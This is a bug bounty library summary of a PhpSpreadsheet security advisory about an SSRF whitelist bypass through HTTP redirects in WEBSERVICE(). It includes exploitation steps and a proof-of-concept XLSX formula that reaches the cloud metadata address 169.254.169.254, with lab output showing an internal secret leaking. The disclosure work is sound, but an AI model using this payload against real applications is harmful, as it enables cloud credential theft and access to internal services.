# PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist

PhpSpreadsheet WEBSERVICE() domain whitelist checks only the initial host; file_get_contents follows 302 redirects to internal targets like cloud metadata, returning full response in the cell.

- Payout: Research
- Severity: high
- Program: PhpSpreadsheet
- Found by: longcalif, sondt99
- Disclosed: 2026-07-23
- CVE: CVE-2026-59931
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-6hq5-7373-42rg
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-6hq5-7373-42rg
- Tags: area:oss domain:oss impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:php technique:chained technique:incomplete-fix technique:source-review vuln:open-redirect vuln:ssrf

**Target:** WEBSERVICE() formula calculation engine (Calculation/Web/Service.php)
**Root cause:** The domain whitelist is validated once against the initial URL hostname, but file_get_contents() follows up to 20 redirects by default without re-validating each hop's host against the whitelist. The port is also excluded from the whitelist check.
**Steps:**
1. Identify or control a URL on a whitelisted domain that returns a 302 redirect (open redirect or attacker-owned domain).
2. Craft XLSX with `<f>_xlfn.WEBSERVICE("http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/")</f>`.
3. Upload XLSX to app that calls setDomainWhiteList() and getCalculatedValue().
4. Whitelist check passes on initial host; file_get_contents follows 302 to internal target with no re-validation.
5. Cloud metadata response returned as the cell's calculated value (up to 32767 bytes).
**How found:** Code review of the whitelist mitigation added in 5.4.0: noticed the check runs once on parse_url() host before file_get_contents(), and that the stream context leaves follow_location/max_redirects at defaults, so redirect targets are never re-validated.
**Exploitation:** Attacker uploads a crafted XLSX to an application that whitelists at least one domain and calculates formulas. The whitelisted host (open redirect or attacker-controlled free-tier API) issues a 302 to an internal address such as 169.254.169.254; PHP's stream wrapper follows it and the full response body is surfaced in the cell, enabling metadata credential theft, internal service access, and port scanning of whitelisted hosts.
**Escalation:** Chaining with an open redirect on the whitelisted domain, attacker-owned whitelisted domain, or DNS rebinding after the check; port omission allows scanning all ports on whitelisted hosts.
**Insight:** When auditing SSRF whitelist patches, check whether the HTTP client follows redirects and whether each hop is re-validated; also check if the whitelist compares only hostname and drops the port, which reopens port scanning on allowed hosts.

## Proof of concept (copied exactly from the original report)

**XLSX WEBSERVICE formula targeting redirect to metadata**

```
<c r="A1">
  <f>_xlfn.WEBSERVICE("http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/")</f>
</c>
```

**Lab reproduction WEBSERVICE redirect bypass test**

```
# Test 1: Direct internal access — BLOCKED by whitelist
=WEBSERVICE("http://127.0.0.1:9090/internal-api/secrets")
→ Result: null (blocked)

# Test 2: Via redirect from whitelisted domain — BYPASS
=WEBSERVICE("http://trusted-api.example.com:7071/redirect-to-internal")
→ Result: {"ssrf":"CONFIRMED","secret":"internal-api-key-LATEST","server":"Linux ..."}
```

